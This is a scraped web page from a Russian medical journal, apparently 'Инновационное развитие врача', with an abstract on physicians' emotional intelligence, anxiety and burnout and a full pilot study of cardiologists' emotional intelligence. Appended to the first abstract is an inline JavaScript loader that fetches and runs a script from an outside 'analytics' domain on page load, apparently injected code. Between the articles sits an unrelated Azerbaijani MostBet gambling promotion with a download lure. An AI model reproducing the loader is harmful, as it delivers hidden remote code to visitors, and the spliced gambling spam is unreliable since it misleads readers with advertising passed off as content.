Soft skills в клинической медицине

КАК УРОВЕНЬ ЭМОЦИОНАЛЬНОГО ИНТЕЛЛЕКТА ВРАЧЕЙ ВЛИЯЕТ НА ВНЕДРЕНИЕ ЧЕЛОВЕКОЦЕНТРИЧНОЙ МОДЕЛИ ЗДРАВООХРАНЕНИЯ

| 0 комментария

Аннотация

Введение. Работа врача связана с постоянным воздействием стрессовых факторов. Все это негативно сказывается на качестве работы: увеличивается количество ошибок, конфликтных ситуаций с пациентами и коллегами, нарастает уровень профессионального выгорания. Поэтому особую актуальность приобретает необходимость быстрого развития у врачей навыков, необходимых для адаптации к быстро меняющимся условиям внешней среды и большому количеству стрессовых воздействий.

Цель – изучить уровень эмоционального здоровья врачей для выявления новых факторов, препятствующих освоению “мягких” навыков.

Материал и методы. Исследование выполнено в ноябре 2023 года среди курсантов программы обучения «Человекоцентричная модель здравоохранения» инновационной академии профессионального развития «Докстарклаб». Все курсанты – медицинские работники учреждений здравоохранения республики Тыва. Оценка уровня эмоционального интеллекта (ЭИ) проведена по методике Н. Холла, оценка уровня профессионального выгорания – по методике К.Маслач, оценка уровня тревожности исследована с помощью опросника Ч.Д. Спилбергера-Ю.Л.Ханина.

Результаты. Всего в исследовании принял участие 61 респондент, среди них 91,8% женщин и 8,2% мужчин, средний возраст 45 (31-54) лет. Среди анкетируемых представители 25 различных медицинских специальностей, средний стаж в медицине составил 22 (5-30) лет. Имеют ночные дежурства 24,6% респондентов, продолжительность рабочей недели в среднем 36 (36-40) часов. Высоким уровнем ЭИ обладают лишь 9,8% опрошенных, у 54,1% он на низком уровне. Более трети медицинских работников имеют высокий уровень эмоционального выгорания (34,4%), всего лишь у 8,2% данный показатель на низком уровне. По результатам опросника Спилбергера-Ханина, респонденты имеют средние значения тревожности как ситуативной, так и личностной (по 47,5%), личностная тревожность на высоком уровне у 47,5% медицинских работников. Уровень эмоционального интеллекта выше у людей, которые проходили обучающие курсы по коммуникации (49±25,9 против 33,5±20 баллов, р=0,04) и те, в чьих семьях нет родственника, который требует постоянного ухода (28,5±18,5 против 42,1±22,3 баллов, р=0,047)).Уровень эмоционального выгорания медицинских работников также связан с необходимостью ухаживать за членом семьи (66,1±16,3 против 54±13,2 баллов, р=0,007), а также более выражен, когда на рабочем месте сложилась неблагоприятная эмоциональная обстановка (53±15 против 62±11,9 баллов, р=0,026)

Выводы. Для врачей характерен высокий уровень тревожности и недостаточное развитие эмоционального интеллекта. Поэтому для успешного освоения программ по повышению квалификации или профессиональной переподготовке важно дополнять модулями по работе с эмоциональным выгоранием и по развитию ЭИ.;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);

MostBet AZ Qlobal Müştəri Dəstəyi Xüsusiyyətləri və Faydaları

| 0 комментария

Onlayn mərc bukmekerləri üçün müştəri əlaqələrinin inkişafı, müştəri məmnuniyyətini artırmaq və xidmət standartlarının yüksəldilməsi müasir dövrün tələblərindən biridir. İstifadəçilərin sorğularına cavab vermək üçün ayrılan müddət, xidmətin keyfiyyətini birbaşa təsir edir. Hər bir istifadəçi, müraciət etdikdə, peşəkar dəstək alaraq öz suallarına sürətli və aydın cavab gözləyir.

Bu sahədə texniki proqnozlar, müştəri əlaqə kanallarının genişlənməsi ilə birbaşa əlaqədardır. Müxtəlif kanallar – telefon, e-poçt, canlı çat – istifadəçilərə rahatlıq təmin etməklə yanaşı, onların təcrübəsini də zənginləşdirir. Bu yanaşma, xidməti uzun müddət ərzində müvəffəqiyyətlə təqdim etməyə imkan tanıyır.

Beləliklə, müştəri dəstəyi sahəsindəki yeniliklər, istifadəçilerin məmnuniyyətini artırmaqla yanaşı, eyni zamanda xidmətin keyfiyyətini daha da yüksəldir. Yalnızca müştəri sorğularına, onların cavab müddətinə diqqət yetirərək, xidmət verən şirkətlər sektorda uğur qazana bilər.

Müştəri Dəstəyi Kanalları: Hansıları Seçmək Lazımdır?

Müştəri Dəstəyi Kanalları: Hansıları Seçmək Lazımdır?

İstifadəçilərin məmnuniyyətini artırmaq üçün xidmət müddəti boyunca effektiv əlaqə kanallarının seçilməsi olduqca vacibdir. Sorğuların və yardımların sürətlə cavablandırılması, istifadəçi təcrübəsini müsbət yöndə inkişaf etdirir. Müxtəlif əlaqə kanalları, məsələn, e-poçt, telefon və canlı çat vasitəsilə müştərilərlə ünsiyyət qurmaq, onları narahat edən problemləri daha tez həll etmək imkanı verir.

Hər bir əlaqə kanalı özünəməxsus üstünlüklərə malikdir. Məsələn, telefonla danışmaq müştəriyə dərhal cavab ala bilmək imkanı təqdim edir, e-poçt isə daha geniş və detallı sorğuların göndərilməsinə dəstək verir. Canlı çat isə istifadəçilərə real vaxtda yardım edir, bu da cavab müddətini minimuma endirir.

Texniki proqnozlar, təşkilatın müştəri dəstəyi xidmətinin keyfiyyətini artırmaq üçün əhəmiyyətlidir. Düzgün seçilmiş əlaqə kanalları, müştəri məmnuniyyətini yüksəltməkdə və mümkün problemləri daha səmərəli idarə etməkdə mühüm rol oynayır. Başqa sözlə, müştəriyə yaxın olmaq, onun ehtiyaclarını dinləmək və dəstəkləmək, etibarlı bir xidmət mühiti yaratmaq deməkdir.

Beləliklə, əlaqə kanallarının seçimi, müştəri təcrübəsinin əsas elementlərindəndir. Daha ətraflı məlumat və xidmətlərdən yararlanmaq üçün mostbet yukle adresinə baş çəkin. Düzgün seçimlər müştərilərin məmnuniyyətini artıraraq, təşkilatın uğurunu daha da gücləndirəcəkdir.

Çatbotların Rolü: Sürətli Cavablar üçün İstifadəsi

Çatbotların Rolü: Sürətli Cavablar üçün İstifadəsi

Son illərdə, müasir dünyada xidmət standartlarının yüksəlməsi ilə birlikdə, müştəri sorğularına anında cavab verilməsi ehtiyacı da getdikcə artıb. Məhz bu səbəbdən çatbotlar, müştəri təcrübəsini yaxşılaşdırmaq üçün əhəmiyyətli bir vasitəyə çevrilmişdir. Bu digital köməkçilər, müştərilər tərəfindən təqdim olunan sorğulara sürətli cavab müddəti ilə xidmət etməkdə, müştəri məmnuniyyətini artırmaq üçün ideal bir yol təqdim edir.

Çatbotlar, müştərilərə 24/7 xidmət göstərərək əlaqə kanallarını genişləndirir. Bu, istifadəçilərin istənilən vaxt, istənilən yerdən yardım almasını mümkün edir. Texniki proqnozlar və müxtəlif sorğulara cavab verən bu sistemlər, müştərilərin qarşısındakı əngəlləri aradan qaldıraraq, onlara zəruri olan məlumatları tez bir zamanda təqdim edir.

Həmçinin, çatbotların istifadə edilməsi, insan resurslarının daha səmərəli yönləndirilməsinə imkan tanıyır. Çünki, müştəri xidmətində yaranan təkrarlanan suallara bir sinif proqramı ilə cavab verilməsi, xidmət heyətinin digər mürəkkəb məsələlərə diqqət yetirməsini asanlaşdırır. Bu da, müştəri təcrübəsini artırır və istifadəçi məmnuniyyətini yüksəldir.

Nəticədə, çatbotların müasir xidmət sistemlərində rolunu dərk etmək, müştəri əlaqələrinin inkişafında böyük əhəmiyyətə malikdir. İstifadəçilərin ehtiyaclarına sürətli və effektiv cavab vermək, müştəri məmnuniyyətini artırır və brendin etibarını göklərə qaldırır.

Məmnunluq: MostBet AZ-ın Qiymətləndirmələri

Məmnunluq: MostBet AZ-ın Qiymətləndirmələri

İstifadəçi məmnuniyyəti, bir platformanın müvəffəqiyyətinin əsas göstəricilərindən biridir. Bu səbəbdən MostBet AZ, müştəri təcrübəsini artırmaq üçün bir sıra xidmət standartları və əlaqə kanalları təqdim edir. İstifadəçilərin sorğularına operativ şəkildə cavab verilməsi, bu platformanın əsas xüsusiyyətlərindən biridir.

İlk olaraq, xidmət müddəti müştəriyə təqdim olunan yardımların effektivliyini artırır. Platforma, müştəri problemlərini həll etmək üçün 24/7 müxtəlif əlaqə kanalları vasitəsilə xidmət göstərir. Bu, istifadəçilərin istədikləri zaman yardım ala biləcəkləri mənasını daşıyır.

  • Cavab müddəti: Sorğulara sürətli cavab verilməsi, istifadəçi məmnuniyyətini yüksəldir.
  • Xidmət standartları: Müxtəlif xidmətlərin keyfiyyəti müştəri təcrübəsinin əsasını təşkil edir.
  • Yardımların müxtəlifliyi: İstifadəçilərin ehtiyaclarına uyğun müxtəlif yardım kanalları təmin edilir.

Bununla yanaşı, müştərilərin geribildirimləri də xidmətlərin inkişafında mühüm rol oynayır. Sorğuların effektiv idarə olunması, platformanın daha da təkmilləşdirməsi üçün dəyərli məlumatlar təqdim edir.

Nəticə etibarilə, MostBet AZ, istifadəçi məmnuniyyətini artırmaq məqsədilə xidmətlərini daim inkişaf etdirir. Bu yanaşma, istifadəçilərin platformaya daha çox dəyər verməsinə və sadiq müştəri bazasının formalaşmasına şərait yaradır.

Problemlərin Həlli: Ən Tez Baş Verən Məsələlər və Çözüm Yolları

İstifadəçilər üçün təqdim olunan xidmətlərin keyfiyyəti, texniki proqnozların dəqiqliyi və cavab müddəti mühim faktorlar arasında yer alır. Müxtəlif problemlər yarananda, məsələlərin necə həll olunacağına dair istinad nöqtələri əhəmiyyətlidir. Bu vəziyyətdə, istifadəçilərin qarşılaşdığı ən yaygın sorğular arasında hesabların bloklanması, depozitlərdə müddət gecikmələri və bonusların aktivləşdirilməsi ilə bağlı məsələlər mövcuddur.

Xidmət standartlarına uyğun olaraq, əlaqə kanalları müştəri ilə 24/7 fəaliyyət göstərməli və komanda üzvləri sorğulara tez bir zamanda cavab verməlidir. Problemlərlə bağlı yardımların bir hissəsi, məsələn, canlı çat, e-poçt və telefon vasitəsilə həyata keçirilir. Bu kanallar fərqli preferensiyalara uyğun xidmət göstərir və istifadəçi məmnuniyyətini artırmaq üçün optimal şərait yaradır.

Servisin rüsvay olmasını önləmək üçün xidmət müddətinin qısaldılması və problemlərin sürətli həlli hədəflənməlidir. Bir çox istifadəçi, texniki məsələlərin həlli zamanı qarşılaşdıqları çətinliklərdən narazıdır. Bu səbəbdən, xidməti göstərən şirkətlərin müntəzəm olaraq istifadəçi rəyini toplaması və buna əsaslanaraq inkişaf etməsi vacibdir.

Son olaraq, məsələlərin həllinə önəm verilərək, istifadəçilərin ehtiyaclarına uyğunlaşmaq, xidmət keyfiyyətini artırmaq və məmnuniyyət səviyyəsini yüksəltmək məqsədilə davamlı təkmilləşdirmə işləri görülməlidir. Bu yanaşma, yalnız müştəri əlaqələrini yaxşılaşdırmaqla qalmayıb, eyni zamanda uzunmüddətli müvəffəqiyyət üçün vacibdir.

Sual-cavab:

MostBet AZ müştəri dəstəyi hansı xüsusiyyətlərə malikdir?

MostBet AZ müştəri dəstəyi, istifadəçilərə 24/7 xidmət təqdim edir. Bu, müştərilərin istənilən saatda suallarını soruşa biləcəyi və yardım ala biləcəyi anlamına gəlir. Dəstək komandası, telefon, e-poçt və canlı çat vasitəsilə müştərilərə kömək edir. Ayrıca, saytda geniş məlumat bazası da mövcuddur ki, bu da istifadəçilərin tez-tez soruşulan suallara cavab tapmalarını asanlaşdırır.

MostBet AZ-da müştəri dəstəyini necə əldə etmək olar?

MostBet AZ-da müştəri dəstəyi əldə etmək üçün istifadəçilər bir neçə yanaşma tətbiq edə bilərlər. Canlı çat üçün veb saytın aşağı hissəsinə daxil olmalısınız, burada mütəxəssis sizinlə dərhal əlaqə yaradacaq. E-poçt vasitəsilə dəstək tələb etmək istəyirsinizsə, dəstək e-poçt ünvanına məktub göndərə bilərsiniz. Telefonla əlaqə saxlamaq da mümkündür, lakin çağırışların müəyyən saatlarda cavablandığını qeyd etmək lazımdır. Beləliklə, istifadəçilər istədikləri vaxt dəstək ala bilərlər.

MostBet AZ müştəri dəstəyi ilə bağlı hansı problemlər var?

Bəzi istifadəçilər MostBet AZ müştəri dəstəyi ilə bağlı cavab müddətinin uzanmasından şikayət edə bilərlər. Bəzi hallarda, canlı çat xidmətində mütəxəssis gözləmək müddəti bir az uzun ola bilər. Həmçinin, bəzi müştərilər e-poçt vasitəsilə göndərdikləri mesajlara cavabların gecikməsi ilə bağlı narazılıq edirlər. Bununla yanaşı, bir çox istifadəçi, müştəri dəstəyi xidmətinin keyfiyyətinin yüksək olduğunu bildirir.

MostBet AZ müştəri dəstəyi hansı dillərdə xidmət göstərir?

MostBet AZ müştəri dəstəyi bir neçə dildə xidmət qeyd edir. Bu dillər arasında Azərbaycan, Türk, Rus və İngiliscə mövcuddur. Hər bir müştəri, sevdiyi dildə dəstək ala bilər ki, bu da istifadəçi təcrübəsini artırır. Müştəri dəstəyi komandası, müştərilərin rahatlığını təmin etmək üçün müxtəlif dillərdə danışma qabiliyyətinə malikdir.

MostBet AZ müştəri dəstəyi ilə əlaqə saxlayarkən hansı məlumatları vermək lazımdır?

MostBet AZ müştəri dəstəyi ilə əlaqə saxlayarkən, sizdən adınız, hesabınızın istifadəçi adı və problemi izah edən məlumatlar soruşula bilər. Əgər müştəri dəstəyi sualınızla bağlı daha dəqiq kömək etmək istəyirsə, sizdən əlavə məlumat da istəyə bilər. Problemi mümkün qədər ətraflı təsvir edərək cavab müddətini qısaltmaq mümkündür. Məlumatların dəqiqliyi müştəri dəstəyi xidmətinin vəziyyətini sürətləndirmək üçün vacibdir.

MostBet AZ müştəri dəstəyi xidmətləri nələrdir?

MostBet AZ, müştəri məmnuniyyətinə böyük əhəmiyyət verir və bu məqsədlə müxtəlif müştəri dəstəyi xidmətləri təqdim edir. Platforma istifadəçilərinə 7/24 xidmət verir, bu da müştərilərin istənilən vaxt yardım ala biləcəyini göstərir. Onlar canlı chat, e-poçt və telefon vasitəsilə müştəri dəstəyi ilə əlaqə saxlama imkanı təmin edirlər. Həmçinin, müntəzəm olaraq istifadəçilərin suallarına cavab verən ətraflı FAQ bölməsi mövcuddur. Bu bölmə, istifadəçilərin tez-tez qarşılaşdıqları problemlərə dair məlumatlar təqdim edir, bununla da onların təcrübəsini daha da asanlaşdırır.

Пилотное исследование особенностей эмоционального интеллекта врачей-кардиологов

| 0 комментария

Значок

PDF Пилотное исследование особенностей эмоционального интеллекта врачей-кардиологов

1 файл(ы) 29.30 MB
Скачать

SOFT SKILLS В КЛИНИЧЕСКОЙ МЕДИЦИНЕ

Авторы:

Быстрова О.В., Демкина А.Е., Кочергина А.М., Акаева З.Г.

Основные положения

Статья представляет собой описание пилотного исследования особенностей структуры эмоционального интеллекта кардиологов. Выявленные данные указывают на необходимость разработки программ по развитию эмоционального интеллекта врачей, что поможет повысить уровень стрессоустойчивости, разовьет коммуникативные навыки, а также будет способствовать профилактике эмоционального выгорания.

Аннотация

Цель. Изучить особенности структуры эмоционального интеллекта кардиологов. Материалы и методы. Исследование выполнено в 2022 году среди курсантов программы обучения «Менеджмент здравоохранения» инновационной академии профессионального развития «Докстарклаб». Оценка уровня эмоционального интеллекта (ЭИ) проведена по методике теста эмоционального интеллекта (Сергиенко и соавт.) и опроса об особенностях работы. Всего тестирование прошли 13 врачей.

Результаты. По результатам тестирования было определено, что 69% (9 человек) опрошенных имеют средний уровень развития эмоционального интеллекта, 23% (3 человека) – высокий и 8% (1 человек) – низкий. Данные результаты свидетельствуют о том, что только 23% врачей, хорошо распознают и понимают эмоции (свои и окружающих людей), успешно управляют ими и используют информацию, которую дают эмоции, в решении жизненных и рабочих задач. В структуре эмоционального интеллекта 9 врачей-кардиологов из 13, то есть 69,2% имеют самые низкие показатели по способности использовать эмоции в решении задач. Все врачи, прошедшие тестирование, имели негармоничный профиль эмоционального интеллекта.

Заключение. Выявленные особенности в структуре эмоционального интеллекта кардиологов и описанные ими сложности в работе указывают на необходимость разработки программ по развитию эмоционального интеллекта врачей. Такие тренинги помогут повысить уровень стрессоустойчивости, а также будут способствовать развитию коммуникативных навыков.

Ключевые слова:

2023 | №1 | кардиолог | профессиональное выгорание врачей | эмоциональный интеллект

Автор, ответственный за переписку: Быстрова О.В., ул. Одесская, д. 27 Б, офис 3, помещение XI-5, вн. тер. г. Ленинский муниципальный округ, г. Севастополь, Российская Федерация, 299011, Edrian@inbox.ru

Для цитирования: Быстрова О.В., Демкина А.Е., Кочергина А.М., Акаева З.Г. Пилотное исследование особенностей эмоционального интеллекта врачей-кардиологов. Инновационное развитие врача. 2023; 1: 56-63.

Список сокращений

ТЭИ – тест эмоционального интеллекта

ЭИ – эмоциональный интеллект

Введение

Для эффективного выполнения своей работы врачу необходимы не только медицинские знания и умения, но и, так называемые, мягкие навыки, высокий уровень которых обеспечивает профессионализм специалиста. Один из них – эмоциональный интеллект (ЭИ).

С каждым годом число исследований этой грани личности растет. В поисковой системе PubMed по запросу «emotional intelligence» в 2010 году опубликовано 980 статей, 2015 – 1807, 2020 – 2861.

В медицине структуру эмоционального интеллекта врача изучают с целью выявления эффективных способов профилактики профессионального выгорания, улучшения коммуникации и повышения эффективности лечения.

ЭИ – это когнитивная способность, которую можно развивать и тренировать в любом возрасте, формируя навык и получая стойкие результаты. Именно этим он и интересен, так как обладает потенциалом для широкого внедрения в практику.

Баксанский О.Е. и Сафоничева О.Г. в 2021 году провели обзор литературы, посвященной синдрому эмоционального выгорания и способам сохранения здоровья на рабочем месте [1]. Авторы установили, что развитие ЭИ является одним из ключевых факторов в коррекции указанного выше состояния за
счет улучшения понимания своих эмоций, самочувствия и тренировки навыка управления ими, что поможет вовремя замечать признаки переутомления, потери интереса и снижения мотивации.

Шараф А.М. и соавт. в 2021 году провели исследование взаимосвязи эмоционального выгорания и уровня эмоционального интеллекта у врачейоториноларингологов-хирургов [2]. Была установлена статистически значимая отрицательная обратная связь между более высоким уровнем общего ЭИ и низким уровнем эмоционального истощения. По мнению авторов, программы обучения врачей должны включать в себя тренинги по развитию ЭИ с целью снижения риска возникновения выгорания.

В своем исследовании Гребенникова Ю.Л. и Орлова Е.А. в 2021 году определяли уровень ЭИ среди врачей и его связь с особенностями поведения в стрессовых ситуациях [3]. Было установлено, что 75% врачей имели очень низкий и 15% – низкий уровни общего ЭИ, а среди преобладающих копинг-стратегий у них оказалось наиболее выражено дистанцирование, поиск социальной поддержки, бегство-избегание. Такое поведение показывает низкий уровень стрессоустойчивости врачей и высокий риск развития выгорания.

По данным Слесаренко Л.А. 70% врачей демонстрируют низкий уровень ЭИ [4]. В связи с этим они испытывают сложность в понимании своих и чужих эмоций, склонны прибегать к агрессивным действиям, сталкиваясь с проблемной ситуацией. Это еще раз указывает на то, что врачебная деятельность требует владения коммуникативными навыками, в том

числе развитым ЭИ.

Обзор литературы, проведенный Kozlowski D. [5], помог установить, что эмоции, испытываемые клиницистами, влияют на принятие клинических решений. Тревога, страх, чувство неопределенности в трудных клинических ситуациях могут служить помощниками, которые призывают обратиться за советом к более опытным коллегам. В то же время перечисленные выше эмоции в некоторых случаях способствуют возникновению конфликтов между
участниками лечебного процесса. По мнению авторов, развитие ЭИ врачей может стать эффективным шагом
к повышению безопасности пациентов, а также развитию и укреплению чувства личной эффективности у врачей, что послужит фактором снижения риска развития выгорания и повышения стрессоустойчивости.

Наша гипотеза предполагает, что у врачей разных специальностей могут быть некоторые схожие особенности в структуре эмоционального интеллекта, которые, в свою очередь, могут влиять на принятие врачебных решений, утомляемость врачей, коммуникацию с пациентами. Принятие во внимание этих особенностей поможет  азработать программы развития эмоционального интеллекта и стрессменеджмента, позволяющие снизить уровень выгорания врачей, а также проводить его профилактику еще на этапе учебы в медицинском университете.

Свое пилотное исследование мы начали с группы врачей-кардиологов.

Материалы и методы

В своей работе мы использовали концепцию эмоционального интеллекта Дж. Мейера и П. Сэловея [6], которая представляет эмоциональный интеллект как модель способностей – часть общего интеллекта человека, где эмоции выступают источником информации, помогают быстрее принимать решения и повышать эффективность  деятельности. Эта модель, по нашему мнению, является наиболее практикоприменимой и обладает широкими
возможностями для внедрения.

Данная модель эмоционального интеллекта включает в себя четыре способности:

  • распознавать эмоции;
  • использовать эмоции;
  • понимать эмоции;
  • управлять эмоциями [7].

Способность распознавать эмоции – это восприятие, идентификация эмоций. Умение человека определить, что он чувствует по своему физическому состоянию, ощущениям в различных частях тела, по мыслям. Также это  способность определять эмоции других по их выражению лица, речи, внешнему виду и через произведения искусства. Эмоции здесь рассматриваются как источник информации. Это самая основная способность эмоционального интеллекта. Чем лучше у вас «считывание эмоций» в ситуации, тем

58

более адекватно вы можете ответить на них и более эффективно действовать. Это базовая эмоциональная грамотность.

Использование эмоций необходимо для повышения эффективности мышления и деятельности. Это умение
гибко использовать эмоции и направлять их на решение задач, принятие решений, выполнение важных действий.

Понимание эмоций – это способность понимать информацию, которую несут эмоции. После того, как человек определил, что он чувствует, очень важно направить свое внимание на понимание того, почему так происходит. Почему эта эмоция или чувство возникли, о чем они сигнализируют. Также эта способность помогает понимать, как эмоции взаимодействуют между собой и развиваются в процессе взаимоотношений.

Управление эмоциями – способность регулировать эмоции (не контролировать, не подавлять), а именно управлять, то есть переключаться из одного состояния в другое для того, чтобы повысить эффективность деятельности или коммуникации, а также умение влиять на эмоции и состояние других людей. Эта способность помогает оставаться открытыми к приятным и неприятным эмоциям и уметь выдерживать их.

Для оценки уровня развития эмоционального интеллекта в своем исследовании мы использовали ТЭИ – тест эмоционального интеллекта. Это тест, в основе которого лежит модель способностей эмоционального интеллекта Дж. Мейера, П. Сэловея и Д. Карузо и психоэволюционная теория Р. Плутчика [8].

Прототипом ТЭИ послужил оригинальный тест MSCEIT 2.0 [9], который был переведен на русский язык и адаптирован под русскоязычную ментальность с учетом культурно-специфических особенностей коллективом авторов под руководством д.м.н., проф. Е.А. Сергиенко [10].

Методики определения уровня эмоционального интеллекта, в основе которых лежит модель способностей, а не личностных характеристик, обладают большей надежностью и валидностью полученных результатов [10].

Результаты психометрической проверки русскоязычной версии методики MSCEIT обосновывают возможность ее применения в исследовательских целях и для диагностики респондентов.

При помощи методики ТЭИ возможно определить общий уровень развития эмоционального интеллекта, а также уровень развития четырех его компонентов: способностей распознавать и понимать эмоции, использовать их в решении задач и сознательно управлять ими.

Методика ТЭИ содержит 185 задач, наполняющих девять разделов [10]. Принципиальное отличие ТЭИ от
других отечественных тестов на определение уровня ЭИ состоит в том, что этот тест построен по аналогии с
тестами на определение интеллекта. Он не является самоопросником, что существенно повышает достоверность результатов.

Ограничения для широкого внедрения методики. Тест эмоционального интеллекта (ТЭИ) (в редакции Сергиенко Е.А. и соавт.) является платным ресурсом ввиду того, что существуют правообладатели методики. Тестирование занимает около 40 минут. После этого каждый участник проходит индивидуальную консультацию по  интерпретации результатов и получает персональные рекомендации по развитию способностей эмоционального
интеллекта в зависимости от результатов тестирования. Консультация занимает 40-60 минут. Помимо ТЭИ, каждый врач-участник заполнял анкету, где ему предлагалось ответить на вопросы об особенностях его  специальности.

Свое исследование мы начали с изучения структуры эмоционального интеллекта врачейкардиологов. Всего было проведено 13 тестов. Все участники – женщины в возрасте от 29 до 47 лет с опытом работы кардиологом от 5 до 20 лет.

Результаты

После прохождения теста, респондент получает свои результаты в виде шкалы с числовыми показателями уровня общего эмоционального интеллекта и четырех его способностей (рис.1).

Рис. 1. Результаты теста эмоционального интеллекта

Результаты интерпретируют согласно показателям, указанным в таблице 1, а на рисунке 2 представлены результаты опроса врачей-кардиологов.

Полученные результаты свидетельствуют о том, что только 23% врачей, которые прошли тестирование, хорошо распознают и понимают эмоции (свои и окружающих людей), успешно управляют ими и используют информацию, которую дают эмоции, в решении жизненных и рабочих задач (рис. 3). Это помогает выстраивать более эффективное взаимодействие с окружающими, а также грамотно

59

Рис. 3. Уровень развития компонентов эмоционального интеллекта у врачей-кардиологов, n=13

выстраивать режим труда и отдыха.

По результатам тестирования выявилась тенденция к тому, что 9 врачей-кардиологов из 13, то есть 69,2%
имеют самые низкие показатели по «способности использовать эмоции в решении задач».

Способность использования эмоций в решении задач состоит из двух компонентов – эмпатия и фасилитация. Показатель считается как среднее арифметическое всех показателей ответов по данным разделам с поправкой на коэффициент нелинейной стандартизации.

Рис. 2. Общий уровень развития эмоционального интеллекта у врачей кардиологов, n=13

Рис. 3. Уровень развития компонентов эмоционального интеллекта у врачей-кардиологов, n=13

Фасилитация – усиление мышления и деятельности, измеряет способность использовать различные эмоции в решении жизненно значимых задач и принятии решений. Способность к определению эмоций эффективных для содействия мышлению в конкретной деятельности.

Эмпатия – способность человека описывать свои эмоциональные состояния и почувствовать эмоции другого.

Таким образом, способность использования эмоций отвечает за действия человека и его эффективность – «я знаю, как я себя чувствую, и могу подобрать подходящую задачу под свое состояние».

При низком уровне развития данной способности у человека часто возникают трудности применить возникшую эмоцию для решения определенной задачи.

В совокупности с более высоким уровнем способностей понимать эмоции и управлять ими, данные показатели свидетельствуют о том, что человеку сложно переходить от мысли к действиям.

Такой человек много анализирует, размышляет, взвешивает за и против, откладывает выполнение задач. Если же он действует, то часто использует при этом волевые ресурсы, за счет чего быстро истощается.

Все врачи, прошедшие тестирование имели негармоничный профиль эмоционального интеллекта.
Это означает, что имеется большой разрыв между значениями показателей каждой способности. Это можно рассматривать, как фактор, способствующий развитию выгорания у врачей.

Разрыв между показателем с самым высоким количеством баллов «понимание эмоций» и самым низким количеством баллов “использование эмоций”

60

составляет 32.

Гармоничный профиль мы наблюдаем в том случае, если значения способности с самым высоким
показателем отличается от значения с самым низким показателем в пределах 5 баллов. Таких результатов мы не получили.

Дисгармоничный профиль (рис. 4) в комплексе с низким уровнем способности использовать эмоции свидетельствует о том, что его обладателю сложно ориентироваться в информации, которую несут эмоции, управлять ими и использовать для эффективного решения личных и рабочих задач.

Респондентам, имеющим негармоничный профиль, рекомендуется пройти программу по развитию эмоционального интеллекта для того, чтобы улучшить коммуникацию в личных и рабочих задачах, а также
повысить эффективность своей деятельности, снизить уровень профессионального выгорания, научиться
выстраивать сбалансированный режим труда и отдыха.

Рис. 4. Пример негармоничного профиля уровня эмоционального интеллекта

После тестирования мы провели анкетирование врачей. Вопросы, на которые отвечали врачи, приведены ниже.

· Какие особенности в работе врача-кардиолога вы можете отметить?

· С какими сложностями сталкивается врачкардиолог на приеме?

· Опишите ситуации, которые происходят в рабочее время и выводят из эмоциональной стабильности.

Врачи отмечали сложности в коммуникации с пациентами, необходимость убеждать пациентов в
изменении образа жизни, общаться с родственниками, принимать сложные решения в условиях
ограниченного времени, взаимодействовать с пациентами пожилого возраста, летальные исходы,
страх смерти у самих пациентов, халатное отношение пациентов к своему здоровью.

Таким образом, на основании ответов респондентов, мы замечаем некую тенденцию в том, что основными стрессовыми факторами в работе врача является необходимость много коммуницировать с пациентами и их родственниками, а также работа в условиях ограниченного времени.

Заключение

Выявленные особенности в структуре эмоционального интеллекта врачей-кардиологов и описанные врачами сложности в работе, указывают на необходимость разработки программ по развитию эмоционального интеллекта врачей. Такие программы помогут повысить уровень стрессоустойчивости врачей, а также будут способствовать развитию коммуникативных навыков. Программы по развитию указанных навыков следует разработать и внедрить в обучение студентов медицинских вузов, а также постдипломное обучение врачей.

Конфликт интересов

О.В. Быстрова входит в редакционный совет
журнала «Инновационное развитие врача». А.М. Кочергина является главным редактором журнала «Инновационное развитие врача». А.Е. Демкина и З.Г. Акаева заявляют об отсутствии конфликта интересов.

Финансирование

Исследование не имело спонсорской поддержки

Информация об авторах

Быстрова Ольга Викторовна, врач-стоматолог, кандидат медицинских наук, специалист по развитию эмоционального интеллекта EACEIP

ORCID: 0000-0002-0575-769X

Демкина Александра Евгеньевна, кандидат медицинских наук, МРА, руководитель комитета цифровых инноваций Национальной ассоциации управленцев сферы здравоохранения, помощник генерального директора по цифровизации ФГБУ «НМИЦК им. Ак. Е.И. Чазова» Минздрава России, ведущий научный сотрудник отдела медицинских исследований Научно-практического клинического центра диагностики и телемедицинских технологий Департамента здравоохранения города Москвы, ректор Инновационной академии профессионального
развития «Докстарклаб»

ORCID: 0000-0001-8004-9725

Кочергина Анастасия Михайловна, кандидат медицинских наук, ассистент кафедры кардиологии и сердечно-сосудистой хирургии ФГБОУ ВО «Кемеровский ГМУ» Минздрава России, Кемерово, Российская Федерация; научный сотрудник лаборатории патологии кровообращения отдела клинической кардиологии ФГБНУ «НИИ КПССЗ», Кемерово, Российская Федерация.

ORCID: 0000-0003-3998-7028

Акаева Зарият Гаджакавовна, врач-кардиолог ГБУЗ РА «Майкопская городская поликлиника», Майкоп,
Республика Адыгея, Российская Федерация

ORCID: 0000-0001-5088-8202

61

Вклад авторов в статью

О.В. Быстрова вклад в концепцию исследования, интерпретация данных исследования, написание статьи, утверждение окончательной версии для публикации, полная ответственность за все аспекты работы.

А.Е. Демкина вклад в концепцию исследования, корректировка статьи, утверждение окончательной версии для публикации, полная ответственность за все аспекты работы.

А.М. Кочергина вклад в концепцию исследования, корректировка статьи, утверждение окончательной версии для публикации, полная ответственность за все аспекты работы.

З.Г. Акаева – вклад в концепцию исследования, участие в написании статьи.

Список литературы

1. Баксанский О.Е., Сафоничева О.Г. Синдром эмоционального выгорания. взгляд психолога и невролога (обзор литературы). Вестник новых медицинских технологий. 2021;2:45–57.

2. Sharaf AM, Abddulla IH, Alnatheer AM, Alahmari AN, Alwhibi OA, Alabduljabbar Z, Alhamzah H, Alkholaiwi FM.
Emotional intelligence and burnout among otorhinolaryngology-head and neck surgery. Frontiers in public health. 2022; 10: 851408. DOI: 10.3389/
fpubh.2022.851408

3. Гребенников Ю.Л., Орлова Е.А. Взаимосвязь эмоционального интеллекта и совладающего поведения у медицинских работников. Вестник Московского государственного областного университета. Серия: Психологические науки. 2021; 1: 63 73. DOI:10.18384/2310 7235 2021 1-63 73

4. Слесаренко Л. А. Исследование эмоциональноволевых ресурсов врачей-ординаторов, влияющих на
степень адаптационного потенциала к профессиональной деятельности. Ярославский педагогический вестник. 2020; 6 (117):122 126.

5. Kozlowski D, Hutchinson M, Hurley J, Rowley J, Sutherland J. The role of emotion in clinical decision making: an integrative literature review. BMC Medical Education. 2017; 17: 255. DOI: 10.1186/s12909-017-1089-7

